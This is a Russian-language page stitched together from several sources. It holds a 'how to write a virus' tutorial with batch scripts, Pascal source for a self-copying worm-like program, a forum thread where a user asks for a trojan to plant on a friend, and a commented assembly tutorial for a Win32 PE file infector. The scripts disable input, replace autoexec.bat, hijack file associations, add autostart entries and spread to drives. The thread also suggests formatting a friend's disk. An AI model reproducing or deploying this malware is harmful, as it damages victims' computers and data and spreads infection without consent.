Как написать вирус на паскале

Приветствую!

Хочу сегодня рассказать вам, как создать вирус на самом примитивном уровне!

Вам понадобиться программа, для переименования формата .txt в .bat. Лично я пользуюсь программой Total Commander.

Итак начнём: Первым делом, создайте текстовой документ, пропишите в нём такую команду:

s.run»rundll32 user32, SwapMouseButton»

и сохраните. Далее вам надо переделать файл в формат .bat
Как только вы это сделаете, запустите полученный файл. Если всё правильно, кнопки мыши у вас должны «поменяться местами» Что бы всё сделать как было, зайдите в Пуск, далее Панель управления, Мышь, и уберите галочку с: Обменять назначение кнопок.
Если всё получилось — вы стали начинающим программистом! Поздравляю!

Идём дальше: Например мы хотим, что бы этот вирус, который мы только что создали, передавался на любой носитель информации, который вставлен в PC. Для этого прописываем в блокноте:

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul
s.run»rundll32 user32, SwapMouseButton»

Если вы включили мозг, то вы догадались, что первые 4е строчки — заражают дискету, а 5ая — наш вирус, меняющий «местами кнопки» мыши. На самом деле, 1ая строчка, при запуски вируса, не даёт жертве возможности, запрещает ДОСовскому окошку показывать, что делает вирус.

Продолжаем: этот вирус придуман мною лично:

assoc .lnk=.txt >nul
assoc .exe=.mp3 >nul
assoc .rar=.png >nul
assoc .zip=.png >nul
assoc .png=.txt >nul
assoc .jpg=.txt >nul
assoc .jpeg=.txt >nul

Ну, я думаю вы поняли, что этот вирус делает: он переформатирует одни файлы, в другие!

И последний, самый жестокий вирус:

@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:autoexec.bat attrib c:autoexec.bat -h -s -a -r
deltree /y c:autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe > c:autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.js
echo WSHShell.Popup(«Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе»); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js
attrib c:autoexec.bat +h +s +a +r
pause
cls

Что делает этот вирус:

1 @echo off — Запрещаем ДОСовскому окошку показывать, что делает вирус.
2 rundll32 keyboard,disable — Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C
3 rundll32 mouse,disable — Отключаем мышь тоже на всякий.
4 copy %0 %windir%/system — Копируемся в папку windows/system
// %0 — Переменная, указывающая на исходный файл-вирус
// %windir% — переменная папка масдая.
5 echo run=%windir%/system/*.bat >> %windir%win.ini — Добавляет текст «run=%windir%/system/*.bat» в файл win.ini
6 echo run=%windir%/system/*.bat >> %windir%system.ini — Добавляет текст «run=%windir%/system/*.bat» в файл system.ini
7 label LOHOLAMMER — Меняет имя диску c: на «LOHOLAMMER»
8 if exist c:autoexec.bat attrib c:autoexec.bat -h -s -a -r — Проверяем если есть файл c:autoexec.bat то убираем
//у него атрибуты -h -s -a -r
9 deltree /y c:autoexec.bat — Удаляем файл c:autoexec.bat , если не убрать атрибуты, то программа не удалит файл.
10 echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe > c:autoexec.bat — Добавить текст «YOU ARE LAMMER…xe-xe-xe»
//в новый файл autoexec.bat
11 rundll32 mouse,enable — Включаем, пускай думает, что ниче не было.
12 rundll32 keyboard,enable — Включаем, пускай думает, что ниче не было.
13 echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.js
echo WSHShell.Popup(«Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе»); >> %temp%mes.js
start %temp%mes.js. //Этот текст выводит масдайное окно с надписью
deltree /y %temp%mes.js //А потом стирает за собой следы.
14 attrib c:autoexec.bat +h +s +a +r — Делает файл c:autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил.
15 pause — Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.)
16 cls — Выходим

Это, на сегодня, всё!

Спасибо за внимание!

Если есть вопросы, свои идеи, или что — то ещё — обращайтесь: dmgalperin — Skype


This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters

Show hidden characters

{$mode objfpc}
uses
classes,sysutils,windows,crt,dos;
const
fTarget = ‘iexplore.exe’;
var
folder_array: array[1..10] of String;
s,s1,user_name:string;
i:integer;
Year,Month,Day,WDay : word;
function FileCopy(Source, Target: string): boolean;
var
MemBuffer: TMemoryStream;
begin
result := false;
MemBuffer := TMemoryStream.Create;
try
MemBuffer.LoadFromFile(Source);
MemBuffer.SaveToFile(Target);
result := true
except
end;
MemBuffer.Free
end;
procedure EvilJob;
var i:integer;
begin
for i:=1 to 50 do begin
ShellExecute(0,nil, PChar(‘»notepad»‘),nil,nil,1);
Delay(1000);
end;
end;
begin
Randomize;
user_name:=GetUserDir;
folder_array[1]:=user_name+’Desktop’;
folder_array[2]:=user_name+’AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup’;
folder_array[3]:=’d:’;
folder_array[4]:=’e:’;
folder_array[5]:=’f:’;
folder_array[6]:=’g:’;
folder_array[7]:=’h:’;
folder_array[8]:=’i:’;
folder_array[9]:=’j:’;
folder_array[10]:=’k:’;
s:=ParamStr(0);
s1:=fTarget;
for i:=1 to 10 do begin
s1:=fTarget;
s1:=folder_array[i]+s1;
If FileExists(s1) then
s1:=folder_array[i]+’iexplore’+IntToStr(Random(1000))+’.exe’;
if DirectoryExists(folder_array[i]) then
FileCopy(S, s1);
end;
ShellExecute(0,nil, PChar(‘»iexplore»‘),PChar(‘»https://www.microsoft.com»‘),nil,1);
GetDate(Year,Month,Day,WDay);
if Day=13 then EvilJob;
end.

2 / 2 / 0

Регистрация: 08.07.2008

Сообщений: 61

1

23.07.2008, 17:24. Показов 23690. Ответов 38


Помогите написать троян на pascal другу хочу закинуть.

__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



0



Почетный модератор

11302 / 4270 / 438

Регистрация: 12.06.2008

Сообщений: 12,295

23.07.2008, 17:31

2

Ты сначала реши, что он должен делать… и на паскале это вряд ли получится… ведь она, наверное, должен работать с сетью. Тогда на делфи.



0



Супер-модератор

8781 / 2532 / 144

Регистрация: 07.03.2007

Сообщений: 11,873

23.07.2008, 17:38

3

ну вот что-то полезное писать еще не умеем, зато вредоносное — так в первую очередь… программист должен созидать, а не вредить… сорри за оффтоп…



0



13207 / 6595 / 1041

Регистрация: 10.01.2008

Сообщений: 15,069

24.07.2008, 18:24

4

Ага, помню. Когда начинаешь понимать, какие возможности перед тобой открываются, так в первую очередь обязательно руки чешутся либо кому-нибудь напакостить, либо просто выпендриться )



0



Почетный модератор

7388 / 2634 / 281

Регистрация: 29.07.2006

Сообщений: 13,696

24.07.2008, 19:16

5

Хакерок. Че вы хотели…



0



2773 / 339 / 22

Регистрация: 15.01.2008

Сообщений: 2,614

24.07.2008, 19:59

6

А вы вообще какой компилятор используете?и что вы от трояна ждёте чтоб он на диске с вашего друга/недруга создал куча ненужных файлов и в таком роде или чтото более серьёзное?



0



Флудер

195 / 33 / 11

Регистрация: 23.03.2007

Сообщений: 334

24.07.2008, 20:20

7

Не в тему:
все модеры запостились lol



0



6139 / 1897 / 14

Регистрация: 07.07.2008

Сообщений: 10,417

24.07.2008, 20:39

8

Как все? меня ещё небыло!
P.S. Самая страшная прога которую я написал выводит на экран поверх всех окон надписи Lineage2 Rulez
Прога не вирус.. т.е. сама не распространяется и не копируется, но если хочешь могу дать исходник… тока он на c++



0



2 / 2 / 0

Регистрация: 08.07.2008

Сообщений: 61

24.07.2008, 21:46

 [ТС]

9

меня друг «еврей» по нациоальности дастал пакостями вот и я хочу насолить учу paskal поэтому и спрашиваю.



0



Почетный модератор

7388 / 2634 / 281

Регистрация: 29.07.2006

Сообщений: 13,696

24.07.2008, 22:00

10

берешь баааальшую книго по паскалю и по роже…

P. S. сори за флуд, не могу удержаться, вопрос смешной…
Главное, что написано «другу закинуть» )



0



6139 / 1897 / 14

Регистрация: 07.07.2008

Сообщений: 10,417

24.07.2008, 22:29

11

Если есть доступ к компу могу предложить следующую бяку.. старая но действенная да и безобидная
1)скриншотишь рабочий стол
2)ставишь фоном рабочего стола скриншот который сделал(вроде с параметром замостить)
3)создаешь какой-нить файл на рабочем столе, его переносишь в правую часть рабочего стола, а все остальные папки. ярлыки и документы в левую
4)выделяешь всё на рабочем столе, хватаешь за созданный файл и тащишь влево до упора.. в результате на рабочем столе остался 1 новый файл.. его удаляешь(тока выделение со всех сбросить не забудь)
5)На рабочем столе остаются фотки старых папок, документов….



0



13207 / 6595 / 1041

Регистрация: 10.01.2008

Сообщений: 15,069

25.07.2008, 07:44

12

Ага, скриншот калькулятора размножить на десктопе в случайном порядке — чел долго будет на крестики тыкать.



0



Почетный модератор

11302 / 4270 / 438

Регистрация: 12.06.2008

Сообщений: 12,295

25.07.2008, 11:32

13

Ага, скриншот калькулятора размножить на десктопе в случайном порядке — чел долго будет на крестики тыкать.

Мы когда в лицее учились, то на тамошних 3.11 виндовсах диспетчер программ так размножили… и ехидно улыбались, когда учитель тыкала мышкой по всем подряд и искала настоящий.



0



2 / 2 / 0

Регистрация: 08.07.2008

Сообщений: 61

25.07.2008, 12:06

 [ТС]

14

Мне самому просто писать неохота вот и прошу может кто писал.

Добавлено через 2 минуты
Дайте код.



0



Почетный модератор

7388 / 2634 / 281

Регистрация: 29.07.2006

Сообщений: 13,696

25.07.2008, 12:25

15

Цитата
Сообщение от Vovan-VE
Посмотреть сообщение

Ага, скриншот калькулятора размножить на десктопе в случайном порядке — чел долго будет на крестики тыкать.

Alt-Tab в помощь…

X@KERok, для чего ж паскаль изучаешь? Пиши…



0



Почетный модератор

11302 / 4270 / 438

Регистрация: 12.06.2008

Сообщений: 12,295

25.07.2008, 12:27

16

Самый опасный и непредсказуемый вирус — это человек. Если у тебя есть доступ к компу, то кто мешает вручную напакостить?



0



2773 / 339 / 22

Регистрация: 15.01.2008

Сообщений: 2,614

25.07.2008, 12:33

17

берёш дискету с досом вставляешь в дисковод по быстренькому форматишь винт а потом говоришь «ой что-то комп как-то странно себя ведёт» главное чтоб у друга пароль на биос не стоял….(в любом случае с отвёрткой приходи….)



0



2 / 2 / 0

Регистрация: 08.07.2008

Сообщений: 61

27.07.2008, 16:31

 [ТС]

18

доступа к компу нет только через интернет



0



Почетный модератор

7388 / 2634 / 281

Регистрация: 29.07.2006

Сообщений: 13,696

27.07.2008, 16:36

19

Когда повалять дурака хотелось я делал еще так: писал в батник «shutdow -s -t 120 -c «Ge and f*ck yourself. I’m shutting down…». Батник на загрузку. Мало кто из обычных пользователей про ‘shutdown -a’ знает.



0



2 / 2 / 0

Регистрация: 08.07.2008

Сообщений: 61

27.07.2008, 17:24

 [ТС]

20

а как взломать комп



0




****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +



Теперь пришло время писать код.

includelib import32.lib
extrn ExitProcess: near
extrn MessageBoxA: near
;нам нужны эти АПИ исключительно в первом поколении

.386
;модель проца (вирус будет запускаться на процессорах 80386 и выше)

.model flat
;плоская модель (позволяет использовать до 4гб памяти)

jumps
;не прыгаем за пределы

.data
; тут данные. вернее их отсутствие, просто без этой секции компилятор не компилит
dibilizm_dlya_tupogo_kompilyatora db 0
.code
start:
call delta
; начинаем код с поисков дельты
delta:
sub dword ptr [esp], offset delta
; адрес метки delta - адрес возврата - в стеке. esp - вершина стека и указывает на этот адрес.
; Отнимаем от этого значения смещение метки, которое она имеет в первом поколении

xor edx, edx ; в edx - 0 будем использовать при поиске кернела
mov ebp, [esp] ; в ebp - дельту

R_SEH:
mov eax,fs:[edx]
dec edx

search32:
cmp [eax], edx
je check32
mov eax, [eax]
jmp short search32

check32:
mov eax,[eax+4]
xor ax,ax
searchMZ:
cmp word ptr [eax],5A4Dh ; MZ
je IsPe
sub eax, 10000h
jmp short searchMZ

IsPe:
mov edx,[eax+3ch]
cmp [eax+edx],4550h ; PE
jne Exit
; kernel found

get_export:
mov esi, [eax+edx+78h] ; get export rva
lea esi, [esi+eax+1ch]
xchg eax, ebx ; in ebx kernelBase
mov ecx, 3
loop_lodsd:
lodsd
add eax, ebx
push eax
dec cl
jnz loop_lodsd

lea edi, [ebp+offset GetWindowsDirectoryA_]
main_loop:
str_lenth:
xor eax,eax
mov esi,edi
s4et:
scasb
jnz s4et
mov edx, esi
sub edi, esi
mov esi, [esp+4]
mov ecx, edi ; ecx=edi=length(string)
searchAPI:
push esi
mov edi, edx
mov esi, [esi]
push ecx
add esi, ebx

cld
rep cmpsb

pop ecx
pop esi
jz equal
inc ax
add esi, 4
jmp searchAPI

equal:
shl eax,1

mov ecx, [esp]
add ecx, eax
mov ecx, [ecx]
and ecx, 0ffffh
shl ecx, 2

mov eax, [esp+4*2]
add eax, ecx
mov eax, [eax]
add eax, ebx
mov [edi], eax

cmp word ptr [edi+4], 0B0BAH
je vse_naideno

add edi, 4
jmp main_loop ; это поиск адресов АПИ. Я уже это описал.
vse_naideno:
mov byte ptr [ebp+numbofdirs], 1
; кол-во директорий, которые заражаем после текущей

lea edi, [ebp+offset szWindowsDirectory]
push Some_pathes
push edi
call [ebp+_GetWindowsDirectoryA]
; находим директорию, где "живёт" винда

FindFirsttttt:
lea eax, [ebp+offset WFD32]
push eax
lea eax, [ebp+offset FN4Search]
push eax

call [ebp+_FindFirstFileA]
; ищем первый файл в текущей директории
inc eax
jz nextdir
dec eax
; в случае провала у нас в еах -1 прибавляем 1 получаем 0.
; Тогда ф-ия провалилась, тогда сработает jz nextdir и мы начнём
; поиски в след. директории (в этом вирусе - в директории винды)
; если же ф-ия успешна, то мы отнимаем 1, чтоб получить правильный хендл...

mov [ebp+offset hFF], eax
; и сохраняем его в переменной

mov ecx, 5 ; кол-во файлов для заражения
push dword ptr [ebp+EIPs]
; это одно из "шатких" мест кода. дело в том, что точка входа определяется
; при заражении файла и записывается в файл в соответствующую переменную.
; Для того, чтоб её записать в файл на месте переменной, её надо туда поместить,
; что и делается при заражении файла, но это портит то значение, которое было
; таким же образом забито в этом поколении. Поэтому мы должны его сохранить,
; чтоб потом можно было его заюзать при передаче управления носителю

modifyIt:
push ecx
; в есх у нас счётчик. Так как мы будем работать с этим регистром,
; то будем его сохранять в начале цикла и восстанавливать в конце
jmp infection
; "прыгаем" на процедуру заражения
infection_done:
; сюда попадаем после заражения найденного файла
PLZNext:
lea eax, [ebp+offset WFD32]
push eax
push dword ptr [ebp+offset hFF]
call [ebp+_FindNextFileA]
pop ecx ; восстанавливаем счётчик
test eax, eax
jz nextdir
; если не находим ещё файл пробуем искать в директории винды
dec cx
jnz modifyIt
; уменьшаем значения счётчика на 1 и если он не стал 0, то повторяем цикл.
; Теперь предлагаю вам подобие алгоритма куска кода от FindFirsttttt по Exit
; 1) ищем первый файл
; 2) не нашли - шаг 6
; 3) заражаем
; 4) ищем следующий
; 5) нашли - шаг 3
; 6) след. директория
; 7) если есть директория - шаг 1
; 8) выход
Exit:
pop dword ptr [ebp+EIPs]
; сюда мы попадаем в случае провала или случае заражения достаточного кол-ва объектов
call killfind
; вызываем процедуру, которая закрывает хендл поиска, она расположена в хвосте виря

lea edi, [ebp+offset NewComp]
push edi
call [ebp+_SetComputerNameA]
; это наша "полезная нагрузка" (мы устанавливаем имя компьютера Win32.Instan)

test ebp,ebp
jz first_gen
; это проверка на первое поколение. в первом поколении мы выводим сообщение и выходим,
; а во втором надо возвратитьуправление носителю

mov eax, 0666B0BAH
org $-4
EIPs dd 00401000h
jmp eax
; тут использован небольшой трюк... команда mov reg32, xxxxxxxxh имеет опкод
; b8r xxxxxxxx, где xxxxxxxx - число, которое заносится в регистр. А теперь представьте,
; что у нас в памяти на месте хххххххх стоит переменная. тогда в регистр будет попадать
; значение этой переменной. у нас в проге вместо 0666B0BAH будет в регистре адрес точки
; входа. Мы помещаем в еах старый адрес точки входа, после чего работает jmp eax,
; который совершает прыжок на адрес, который лежит в еах

infection:
; начало работы с файлом (заражения) когда мы находимся здесь, у нас уже есть найденный файл
lea eax, [ebp+offset FName]
push dword ptr FAttrNorm
push eax
call [ebp + _SetFileAttributesA]
; устанавливаем атрибуты файла (обычный файл, не системный, не скрытый)

xor eax, eax
push eax ; handle to file
push eax ; flags and attributes
push 00000003h ; how to create(OPEN_EXISTING)
push eax ; security attr
push 00000003h ; share mode
push 0c0000000h ; access mode
lea eax, [ebp+offset FName]
push eax ; pointer to file name
call [ebp+_CreateFileA]
; открываем файл, если онсуществует

mov dword ptr [ebp+hFO], eax
; сохраняем хендл в переменной
inc eax
; если в регистре -1, то ...
jz infection_done
; ... ищем следующий файл (заражение этого провалилось)

mov ecx, [ebp+FSizeL]
; FSizeL - младшее слово длины файла (берём из WFD)
xor ebx, ebx
; обнуляем ebx. это нам нужно для работы кода
; ecx - low size
crFM:
mov eax, [ebp+hFO]
xor edx, edx
; edx=0, будем использовать для заталкивания в стек (это короче и быстрее, чем push 0)
push edx ; name of object
push ecx ; low size
push edx ; high size
push PAGE_READWRITE ; protect
push edx ; security attr
push eax ; handle to file to map
call [ebp+_CreateFileMappingA] ; создаём мэппинг
test eax, eax
jz close_file ; в случае неудачи закрываем файл
mov [ebp+hFM], eax ; в случае успеха сохраняем хендл

xor edx,edx
MVF:
push edx ; number bytes to map
push edx ; offs low
push edx ; offs high
push SRW ; access mode
push eax ; handle by crFM
call [ebp+_MapViewOfFile] ; мэппируем файл в память

test eax, eax
jz zeroid ; если неудача, то закрываем всё, что закрывается и ищем след. файл
mov [ebp+pFM], eax ; в случае успеха сохраняем хендл в переменную

test ebx, ebx
jnz dali_bude
; итак, пришло время рассказать о великом значении регистра ebx в нашем коде.
; он работает как флаг. когда его значение 0 - выполняется следующие проверки,
; а также после отработки (ниже) процедуры close_FM мы закрываем файл и ищем
; следующий. если же там другое значение, то мы перескакиваем проверки, а также
; не закрываем файл после отработки close_FM. это связано с тем, что мэппинг
; открывается 2 раза. один - для проверки, второй - для изменений (с увеличенной длиной)

add eax,[eax+3Ch]
; после отработки MapViewOfFile в еах лежит смещение на начало файла. по смещению 3Ch
; лежит смещение на заголовок РЕ относительно начала файла, поэтому нам надо добавить
; это число к еах, чтоб получить адрес заголовка
cmp word ptr [eax], 'EP'
; сравниваем сигнатуру
jne UVF
; если нам подсунули липу, то завершаем работу с этим файлом (ebx=0)

cmp dword ptr [eax+44h], 'CPM ' ;это метка зараженности.
je UVF
; если заражен файл, то его не трогаем, зачем его дважды заражать
; (поэтому первое поколение тоже заражается, получается вирус на вирусе : )

mov ecx, dword ptr [eax+3ch]
; по смещению 3с заголовка лежит File Allignment будем его юзать для выравнивания
; всего, что можно выровнять.
mov [ebp+file_align], ecx ; чтоб его не потерять, фигачим его в переменную

inc ebx ; делаем ebx != 0
jmp UVF ; если ebx != 0 у нас закроется мэппинг, но файл не закроется и мы попадём на step1
step1:
mov eax, vir_size ; в еах длина вируса
call aligning ; выравниваем
al_done:
mov ecx, [ebp+FSizeL] ; в есх длину файла
add ecx, eax ; прибавляем выровненную длину выря
jmp crFM
; создаём мэппинг заново, только с новой длиной (длина у нас там передаётсячерез есх).
; после этого, так как ebx <> 0 попадаем на метку dali_bude, но у нас уже файл увеличилс
; на 800h байт (выровненная длина вируса)
dali_bude:
push eax
; так как мы перемэппили файл, в еах забился адрес начала файла. мы его в стек (ещё пригодится)
add eax,[eax+3ch] ; теперь найдем заголовок
push eax ; его адрес тоже в стек (удобная это штука)
movzx ecx, word ptr [eax+6]
; обнулим есх, занесём туда кол-во секций (адрес начала РЕ + 6)
jmp last_sec_find
; прыгаем на процедуру поиска последней секции

продолжение ниже

Сообщение отредактировано: volvo — 26.01.2009 21:45

———————

бб

Понравилась статья? Поделить с друзьями:
  • Как написать виртуального ассистента
  • Как написать виноград маслом
  • Как написать винлокер на python
  • Как написать винду на диск
  • Как написать виндикационный иск